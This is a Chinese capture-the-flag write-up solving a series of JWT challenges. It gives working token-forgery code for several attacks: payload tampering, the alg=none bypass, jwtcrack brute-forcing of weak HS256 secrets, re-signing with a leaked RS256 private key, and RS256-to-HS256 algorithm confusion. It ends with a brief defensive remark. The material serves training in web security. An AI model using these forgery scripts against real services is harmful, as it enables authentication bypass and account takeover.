JWT
JWT(json web token),令牌以紧凑的形式由三部分组成,这些部分由点(.)分隔
Header
Payload
Signature
header示例
{
  'typ': 'JWT',
  'alg': 'HS256'
}
# typ:声明类型
# alg:声明加密的算法 通常直接使用 HMAC SHA256
需要注意的是因为header部分是固定的所以,生成的base64也是固定的以eyJh开头的
payload示例
{
  "sub": "1234567890",
  "name": "John Doe"
}
标准中注册的声明 (建议但不强制使用) 
# iss: jwt签发者
# sub: jwt所面向的用户
# aud: 接收jwt的一方
# exp: jwt的过期时间,这个过期时间必须要大于签发时间
# nbf: 定义在什么时间之前,该jwt都是不可用的
# iat: jwt的签发时间
# jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击
signature
是一个签证信息,这个签证信息由三部分组成
- header (base64后的)
- payload (base64后的)
- secret
注意:secret是保存在服务器端的,JWT的签发生成也是在服务器端的,secret就是用来进行JWT的签发和JWT的验证
更多信息:链接
web345-简单改值
F12 看源码提示 /admin 页面

要注意使用 url 访问网页时
/admin	表示访问 admin.php 文件
/admin/	表示访问 admin/目录下的文件,默认是 index.php
很像文件夹,所以此处应该访问 /admin/
在浏览器 application 中可以看到 cookie,https://jwt.io/ 解密,如果离线比赛没有网,可以直接按 . 点号分块 base64 解密

既然没有加密修改 sub(jwt所面向的用户)为 admin,再 base64 加密
将 cookie 复制到 value 中


web346-修改算法为none
签名算法保证了JWT在传输的过程中不被恶意用户修改
但是header中的alg字段可被修改为none
一些JWT库支持none算法,即没有签名算法,当alg为none时后端不会进行签名校验
将alg修改为none后,去掉JWT中的signature数据(仅剩header + ‘.’ + payload + ‘.’)然后提交到服务端即可
将 Header 中的加密算法改为 none
import base64
def jwtBase64Encode(x):
    return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')
header = '{"typ":"JWT","alg":"none"}'
payload = '{"iss":"admin","iat":1632212749,"exp":1632219949,"nbf":1632212749,"sub":"admin",' \
          '"jti":"bcad514174d6cf1010c3320a61b59d62"} '
print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')
将生成的 payload 复制到 cookie 中,访问 /admin/
web347-弱口令爆破
提示:弱口令
去 jwt.io 解密,hs256 加密,而且改为 none 不可以

弱口令最简单的方法就是猜,不好猜的话效率很低,可以上爆破
使用工具 jwt-cracker
root@kali:~/桌面/c-jwt-cracker-master# ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMjI4NjE3MywiZXhwIjoxNjMyMjkzMzczLCJuYmYiOjE2MzIyODYxNzMsInN1YiI6InVzZXIiLCJqdGkiOiJlY2NhNmIwODU1ZmQ4ZjU1ZTQ5NmFjZTUxOTliMjg0NiJ9.OwRR768OZk4gvd9zOjsagp0C2aZwrLHMpk2PR8CpKjI
爆破的话要有一段时间,密码是 123456
将密码填写并修改 sub 的值,左边会自动生成 jwt 字符串,复制粘贴到浏览器 cookie 中,访问 /admin/

jwt 字符串生成可以使用脚本
# python2
import jwt
payload = {
    "iss": "admin",
    "iat": 1610777706,
    "exp": 1610784906,
    "nbf": 1610777706,
    "sub": "admin",
    "jti": "a4b369d0b43dd96bcf980881e3f0d5ea"
}
secret = '123456'
print(jwt.encode(payload, secret, algorithm='HS256'))
web348-工具爆破secret
提示:爆破
上题的加强版,上工具 jwt-cracker 爆破就完了,这次直接秒出 secret
root@kali:~/桌面/c-jwt-cracker-master# ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMjI4Njk4MywiZXhwIjoxNjMyMjk0MTgzLCJuYmYiOjE2MzIyODY5ODMsInN1YiI6InVzZXIiLCJqdGkiOiJhZDljMjEzOWVkNjgwYzUxYmQ2MWQ3YWFlMmVmNDg4ZCJ9.ksxetPa5ZjFXerEkoyhtig1gczu0PDY2QOOyGl_OxFM
Secret is "aaab"  
生成 jwt 字符串,访问 /admin/ 得到 flag
web349-公私钥解密
有一个 js 文件
/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});
router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
	jwt.verify(auth, cert, function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  }
	});
});
同一路由,get 访问设置 cookie,post 访问检验 cookie,user == admin 得到 flag
jwt.io 去解密 jwt 因为采用的加密算法 RS256 为非对称加密,需要 public key 和 private key,利用私钥生成 jwt ,利用公钥解密 jwt

js 文件中也是读取了 private.key(私钥)文件才生成的 jwt,使用使用 dirsearch 扫目录找私钥文件,果不其然就在当前目录发现 private.key

既然是私钥生成 jwt ,公钥解密 jwt,只要有私钥然后自己重新生成即可
访问 private.key,下载文件
三种方法生成伪造的 jwt 字符串
-  访问 public.key 和 private.key 在 jwt.io 生成新的字符串  
-  已知私钥然后自己重新生成 jwt 字符串(我这边报错为解决。。) # python2 import jwt public = open('private.key', 'r').read() payload={"user":"admin"} print(jwt.encode(payload, key=public, algorithm='RS256'))
-  和方法2一样,nodejs 实现,运行下面的js代码生成jwt (需要安装jsonwebtoken库 npm install jsonwebtoken --save,有报错看这篇链接) const jwt = require('jsonwebtoken'); var fs = require('fs'); var privateKey = fs.readFileSync('private.key'); var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' }); console.log(token)
post 访问页面得到 flag

web350-将 RS256 算法改为 HS256
有源码包,源码中 public 目录下存在 public.key 文件
将 RS256 算法改为 HS256(非对称密码算法=>对称密码算法)
HS256算法使用密钥为所有消息进行签名和验证
而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证
如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名
由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名
这样的话,后端代码使用RSA公钥+HS256算法进行签名验证
访问页面拿到 cookie,是 hs256 加密
js 代码
// yu22x师傅
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
运行得到 payload
node jwt.js
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2MzIzMDE1MTB9.KgkWpURzcUQfETJXh2h5UdDtiQmX3Gbg50vp-B4gs6w
替换原来的 cookie:auth post 访问得到 flag
防御方法:JWT配置应该只允许使用HMAC算法或公钥算法,决不能同时使用这两种算法
补充:破解HS256(对称加密算法)密钥
如果HS256密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥,例如将密钥字符串用作PyJWT库示例代码中的密钥的时候情况就是如此。
然后,用蛮力方式对密钥进行猜解,具体方法很简单:如果密钥正确的话,解密就会成功;如果密钥错误的话,解密代码就会抛出异常。
此外,我们也可以使用PyJWT或John Ripper进行破解测试。
附录:相关工具
PyJWT库具体地址为:https://github.com/jpadilla/pyjwt。
>>> import jwt >>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg' >>> jwt.decode(encoded, 'secret', algorithms=['HS256']) {'some': 'payload'}
参考链接
https://www.cnblogs.com/dliv3/p/7450057.html